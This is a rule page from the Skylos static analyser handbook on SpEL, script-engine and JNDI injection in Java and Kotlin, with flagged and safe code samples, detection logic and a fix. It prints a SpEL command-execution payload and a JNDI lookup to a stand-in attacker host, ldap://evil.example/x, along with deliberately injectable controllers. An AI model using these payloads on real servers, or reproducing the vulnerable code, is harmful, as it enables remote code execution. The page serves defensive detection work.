Skip to main content

SKY-D237 · Security in code

Expression, JNDI or script injection

Critical

Expression languages such as Spring SpEL, OGNL and MVEL, script engines, Groovy and JNDI lookups all turn a string into running code or a loaded class. SKY-D237 reports request data that reaches the expression, script or lookup name of one of these APIs in Java or Kotlin.

Languages
Java, Kotlin
Quality gate
counted toward the gate limits; a CRITICAL finding fails the gate on its own (full and diff scans)
Finding type
review
Wrong result? Report itA false positive, a missed case or a confusing message: it goes privately to the founder.

Why it matters

SpEL text such as T(java.lang.Runtime).getRuntime().exec('id') runs a command, and a JNDI name such as ldap://evil.example/x can load a remote class, the Log4Shell technique. Either one gives the visitor code execution on the server.

What Skylos flags

src/main/java/com/example/PriceController.java · JavaReported on line 16
package com.example; import org.springframework.expression.Expression;import org.springframework.expression.ExpressionParser;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController; @RestControllerpublic class PriceController {    private final ExpressionParser parser = new SpelExpressionParser();     @GetMapping("/price")    public Object price(@RequestParam String formula) {        Expression expression = parser.parseExpression(formula);        return expression.getValue(new Order(100, 0.2));    }     public record Order(int base, double tax) {}}

What Skylos leaves alone

src/main/java/com/example/PriceController.java · Java
package com.example; import org.springframework.expression.Expression;import org.springframework.expression.ExpressionParser;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.expression.spel.support.SimpleEvaluationContext;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController; @RestControllerpublic class PriceController {    private final ExpressionParser parser = new SpelExpressionParser();     @GetMapping("/price")    public Object price(@RequestParam String formula) {        SimpleEvaluationContext context =                SimpleEvaluationContext.forReadOnlyDataBinding().build();        Expression expression = parser.parseExpression(formula);        return expression.getValue(context, new Order(100, 0.2));    }     public record Order(int base, double tax) {}}

Why Skylos leaves it alone

Every evaluation of the parsed expression passes a SimpleEvaluationContext, which has no type references, constructors or bean lookups, so T(...) and new cannot be used. Skylos follows the same rule as CodeQL here.

More languages

Kotlin

Flagged

src/main/kotlin/com/example/RuleController.kt · KotlinReported on line 15
package com.example import javax.script.ScriptEngineimport javax.script.ScriptEngineManagerimport org.springframework.web.bind.annotation.GetMappingimport org.springframework.web.bind.annotation.RequestParamimport org.springframework.web.bind.annotation.RestController @RestControllerclass RuleController {    private val engine: ScriptEngine =        ScriptEngineManager().getEngineByName("javascript")     @GetMapping("/rules/check")    fun check(@RequestParam rule: String): Any? = engine.eval(rule)}

Not flagged

src/main/kotlin/com/example/RuleController.kt · Kotlin
package com.example import javax.script.ScriptEngineimport javax.script.ScriptEngineManagerimport org.springframework.web.bind.annotation.GetMappingimport org.springframework.web.bind.annotation.RequestParamimport org.springframework.web.bind.annotation.RestController @RestControllerclass RuleController {    private val engine: ScriptEngine =        ScriptEngineManager().getEngineByName("javascript")     @GetMapping("/rules/check")    fun check(@RequestParam input: String): Any? {        val bindings = engine.createBindings()        bindings["input"] = input        return engine.eval("input.length < 64", bindings)    }}

Why Skylos leaves it alone

The script is a fixed string and the request value is passed in as a variable through Bindings. The script can read the value but the value can never become code.

How Skylos decides

  1. Finds calls on receivers whose declared type is known: SpEL ExpressionParser.parseExpression(), JNDI Context.lookup() and InitialContext.doLookup(), Spring JndiTemplate and LdapTemplate lookups, ScriptEngine.eval(), GroovyShell.evaluate(), OGNL, MVEL, Jakarta EL and JEXL evaluation, and similar APIs.
  2. Checks the expression, script or name argument for request data: servlet request getters, Spring and JAX-RS handler parameters (@RequestParam, @PathVariable, @RequestBody and others), and helpers in the file that return them.
  3. Skips a SpEL parseExpression() whose result is only ever evaluated with a SimpleEvaluationContext. A no-argument getValue() uses the full context and does not count.
  4. Reports CRITICAL for every other match. The finding names the kind: expression language, script source or JNDI lookup.

How to fix it

Do not evaluate input as an expression, script or JNDI name. Evaluate a fixed expression and pass the input as a variable or root object. If users must write expressions, evaluate them with a SimpleEvaluationContext or a sandboxed engine with an allowlist.

src/main/java/com/example/PriceController.java · Java · the fix, against the flagged file
package com.example; import org.springframework.expression.Expression;import org.springframework.expression.ExpressionParser;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController; @RestControllerpublic class PriceController {    private final ExpressionParser parser = new SpelExpressionParser();Added:     private final Expression total = parser.parseExpression("base * (1 + tax)");     @GetMapping("/price")Removed:     public Object price(@RequestParam String formula) {Removed:         Expression expression = parser.parseExpression(formula);Removed:         return expression.getValue(new Order(100, 0.2));Added:     public Object price(@RequestParam double tax) {Added:         return total.getValue(new Order(100, tax));    }     public record Order(int base, double tax) {}}

When it can be wrong

  • An admin-only screen that evaluates expressions written by trusted staff is reported the same way, because the text still comes from a request.
  • A SpEL expression evaluated with a SimpleEvaluationContext that is built in another method or class is not recognised and stays reported.

Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.

How to silence it

  • Mark a reviewed line and say why. A bare // noqa does not hide CRITICAL security findings.

    Java
    Expression e = parser.parseExpression(formula); // skylos: ignore[SKY-D237] admin only
  • Accept the findings you already have with skylos baseline ., then scan with --baseline so only new ones are listed.

  • [tool.skylos] ignore = ["SKY-D237"] turns the rule off for the whole project.

From the Skylos rule handbook, Skylos 5.8.0 (commit 5b880b0). All rules.